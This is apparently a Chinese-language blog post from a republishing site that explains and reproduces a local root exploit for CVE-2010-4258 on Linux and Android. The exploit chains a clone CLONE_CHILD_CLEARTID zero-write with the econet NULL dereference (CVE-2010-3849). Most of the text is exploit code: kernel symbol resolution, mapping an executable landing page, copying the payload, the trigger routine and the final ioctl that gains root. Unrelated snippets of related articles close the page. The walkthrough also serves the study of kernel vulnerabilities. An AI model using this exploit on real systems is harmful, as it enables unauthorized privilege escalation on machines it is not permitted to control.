Root exploit for Android and Linux(CVE-2010-4258)

/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: [email protected]

*/

一. 漏洞简介

CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。

二. 前置知识 (进程创建、退出)

1.当fork或者clone一个进程在的时候, copy_process执行如下操作:

static struct task_struct *copy_process(unsigned long clone_flags,
                                        unsigned long stack_start,
                                        struct pt_regs *regs,
                                        unsigned long stack_size,
                                        int __user *child_tidptr,
                                        struct pid *pid,
                                        int trace)
{
        p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
        /*
         * Clear TID on mm_release()
         */
        p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
}

如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。

2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid

clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, child_tidptr);

3.进程在退出的时候调用do_exit清理资源,调用路径如下:do_exit->exit_mm->mm_release

/*
* If we're exiting normally, clear a user-space tid field if
* requested.  We leave this alone when dying by signal, to leave
* the value intact in a core dump, and to save the unnecessary
* trouble, say, a killed vfork parent shouldn't touch this mm.
* Userland only wants this done for a sys_exit.
*/
if (tsk->clear_child_tid) {
	if (!(tsk->flags & PF_SIGNALED) &&
	    atomic_read(&mm->mm_users) > 1) {
		/*
		 * We don't check the error code - if userspace has
		 * not set up a proper pointer then tough luck.
		 */
		put_user(0, tsk->clear_child_tid);
		sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
				1, NULL, NULL, 0);
	}
	tsk->clear_child_tid = NULL;
}

上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);

4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0

#define __put_user_check(x,ptr,size)				({									long __pu_err = -EFAULT;					__typeof__(*(ptr)) __user *__pu_addr = (ptr);			__typeof__(*(ptr)) __pu_val = x;				if (likely(access_ok(VERIFY_WRITE, __pu_addr, size)))			__put_user_size(__pu_val, __pu_addr, (size),					__pu_err);				__pu_err;						})

__put_user_check函数会调用access_ok去检查传进来的参数是否合法

#define access_ok(type,addr,size)	_access_ok((unsigned long)(addr),(size))

int _access_ok(unsigned long addr, unsigned long size)
{
	if (!size)
		return 1;

	if (!addr || addr > (0xffffffffUL - (size - 1)))
		goto _bad_access;

	if (segment_eq(get_fs(), KERNEL_DS))
		return 1;

	if (memory_start <= addr && (addr + size - 1) < memory_end)
		return 1;

_bad_access:
	pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
		 current->pid, addr, size);
	return 0;
}

access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下

if (segment_eq(get_fs(), KERNEL_DS))

return 1;

# define get_fs() (current_thread_info()->addr_limit)

如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.

三. 前置知识(无效地址访问异常)

每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。

int do_page_fault(struct pt_regs *regs, unsigned long address,
		  unsigned int write_access, unsigned int trapno)
{
	// ......
	die("Oops", regs, (write_access << 15) | trapno, address);
	do_exit(SIGKILL);
}

而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。

接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。

static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
                          struct msghdr *msg, size_t len)
{
      struct sock *sk = sock->sk;
      struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;

      eb->cookie = saddr->cookie;
}

四. 漏洞利用

1.获取需要用到的函数地址

 /* Resolve addresses of relevant symbols */
 printf("[*] Resolving kernel addresses...\n");
 econet_ioctl = get_kernel_sym("econet_ioctl");
 econet_ops = get_kernel_sym("econet_ops");
 commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
 prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");

2.申请一块新进程的栈空间

if(!(newstack = malloc(65536))) {
                printf("[*] Failed to allocate memory.\n");
                return -1;
        }

3.处理好需要映射的地址,比较关键

// econet_ops中保存了各个econet函数的地址指针,
// 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
// 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
target = econet_ops + 10 * sizeof(void *) - OFFSET;

// 清掉econet_ioctl函数的高8字节
landing = econet_ioctl << SHIFT >> SHIFT;

// landing按页对齐,map了2个页的内存
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

if ((long)payload == -1) {
           rintf("[*] Failed to mmap() at target address.\n");
           return -1;
}

// 将提权代码拷贝到landing
memcpy((void *)landing, &trampoline, 1024);

ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。

可以调用查看下系统最低映射的地址,我这里是65536

4.clone进程

// trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常
int trigger(int * fildes)
{
        int ret;
        struct ifreq ifr;

        memset(&ifr, 0, sizeof(ifr));
        strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);

        ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);

        if(ret < 0) {
                printf("[*] Failed to set Econet address.\n");
                return -1;
        }

        splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
        splice(fildes[0], NULL, fildes[2], NULL, 128, 0);

        /* Shouldn't get here... */
        exit(0);
}

// clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0
// 即清掉了econet_ioctl函数地址的高8字节
clone((int (*)(void *))trigger,
              (void *)((unsigned long)newstack + 65536),
              CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
              &fildes, NULL, NULL, target);

5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限

sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);

参考文章:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258

http://www.exploit-db.com/exploits/15704/

http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9

Root exploit for Android and Linux(CVE-2010-4258),布布扣,bubuko.com

时间: 2024-10-12 07:41:05

Root exploit for Android and Linux(CVE-2010-4258)的相关文章

ubuntu设置root密码及 Xftp连接linux(ubuntu)时提示ssh服务器拒绝了密码,请再试一次

原文:ubuntu设置root密码及 Xftp连接linux(ubuntu)时提示ssh服务器拒绝了密码,请再试一次 alt+f2,在弹出的运行窗口中输入:gnome-terminal sudo?passwd?root,回车后按提示输入两次root的密码 用xftp root连接时显示ssh服务器拒绝了密码,请重新连接.由于sshd的设置不允许root用户用密码远程登录,修改/etc/ssh/sshd_config文件,但必须是安装了openssh才会有这个文件,如果文件不存在,请检查是否安装了

Android init language (安卓初始化语言)

目前在研究framework框架,AIL是Android初始化语言,以下是根据官方文档进行的翻译有助于研究Android启动过程: Android初始化语言包含了四种类型的声明:Actions(行动).Commands(命令).Services(服务)和Options(选项). 所有这些都是以行为单位的,各种记号由空格来隔开.C语言风格的反斜杠号可用于在记号间插入空格.双引号也可用于防止字符串被空格分割成多个记号.行末的反斜杠用于折行. 注释行以井号(#)开头(允许以空格开头). Actions

攻城狮在路上(叁)Linux(二十九)--- 完整备份工具:dump以及restore

一.dump命令: 该命令既可以针对整个文件系统进行备份,也可以仅针对目录来备份.还可以指定不同的备份等级(-0~-9共10个等级). dump -W:列出在/etc/fstab中具有dump设置的分区是否备份过. 命令格式: dump [-Suvj] [-level] [-f 备份文件] 待备份数据 参数说明: -S:仅列出后面的待备份数据所需要的磁盘空间大小. -u:将这次dump的时间记录到/etc/dumpdates文件中. -v:将dump的文件过程显示出来. -j:加入bzip2的支

攻城狮在路上(叁)Linux(二十四)--- linux设置开机挂载及镜像文件挂载

虽然可以手动进行文件系统的挂载,但是每次都手动挂载就会很麻烦,开机挂载的目的就是实现文件系统的自动挂载. 一.开机挂载:/etc/fstab及/etc/mtab 主要是通过修改/etc/fstab文件的配置来实现. fstab是开机时的设置,实际文件系统的挂载是记录到/etc/mtab和/proc/mounts这两个文件中. 1.系统挂载的限制: A.根目录/必须挂载,而且一定是最先挂载的,要先于其他mount point. B.其他挂载点必须为已新建的目录,可以任意指定. C.所有挂载点在同一

我的C语言学习之路——初装Linux(双系统模式)

我的C语言学习之路--初装Linux(双系统模式) 第一次听说Linux是在微软公布不再维护WindowXP系统,当时打开头条网,Linux几乎占据了头条,好奇之下,百度了Linux(Linux操作系统是UNIX操作系统的一种克隆系统,它诞生于1991 年的 [Linux桌面] 10 月5 日(这是第一次正式向外公布的时间)). 第二次听说Linux是在程序员联盟(微信公众号:programmerLeague)   讨论,这也是我真正接触Linux的时候.作为一个编程初学者,对一切有利于编译的软

cocos2d-x3.9利用cocos引擎一键打包Android平台APK(C++小白教程)

链接地址:http://www.cocoachina.com/bbs/read.php?tid=333937 cocos2d-x3.9利用cocos引擎一键打包Android平台APK(C++小白教程) 此教程仅供参考,C++小白系列,从新建工程到打包apk,大神们可在评论多给留言建议,若有不详或错误请予指点.OK,我们直入主题 本教程开发环境详情如下开发系统:win764位开发工具:cocos引擎v2.3.3,VS2013cocos2dx版本:3.9 步骤一:windows下各类工具安装(ja

android增量更新(打补丁方式)

自从 Android 4.1 开始,Google引入了应用程序的增量更新. 官方说明 Smart app updates is a new feature of Google Play that introduces a better way of delivering app updates to devices. When developers publish an update, Google Play now delivers only the bits that have change

Linux(CentOS 6.4)系统中安装mplayer

整了一个上午终于把mplayer安装上了,我的系统是centos 6.4,真是不容易啊! 一.准备工作 需要的安装包及下载地址:1.mplayer源代码包(MPlayer-1.0rc4.tar.bz2)下载:http://www.mplayerhq.hu/MPlayer/releases/2.解码器安装包(all-20110131.tar.bz2)下载:http://www.mplayerhq.hu/MPlayer/releases/codecs/3.win32解码器安装包(windows-al

攻城狮在路上(叁)Linux(二十八)--- 打包命令:tar

首先介绍一下tar打包命令的基本格式,下面的三种之间不能混淆. tar [-j|-z] [cv] [-f 新文件名] file1 file2 ...; tar [-j|-z] [tv] [-f 新文件名]; <== 查看文件名 tar [-j|-z] [xv] [-f 新文件名] [-C 目录]; <== 解包 参数说明: -c:新建打包文件,搭配-v来查看过程中被打包的文件名 -t:查看打包文件的内容包含哪些文件名 -x:解包或解压缩功能.可搭配大写C来指定解压目录 ------------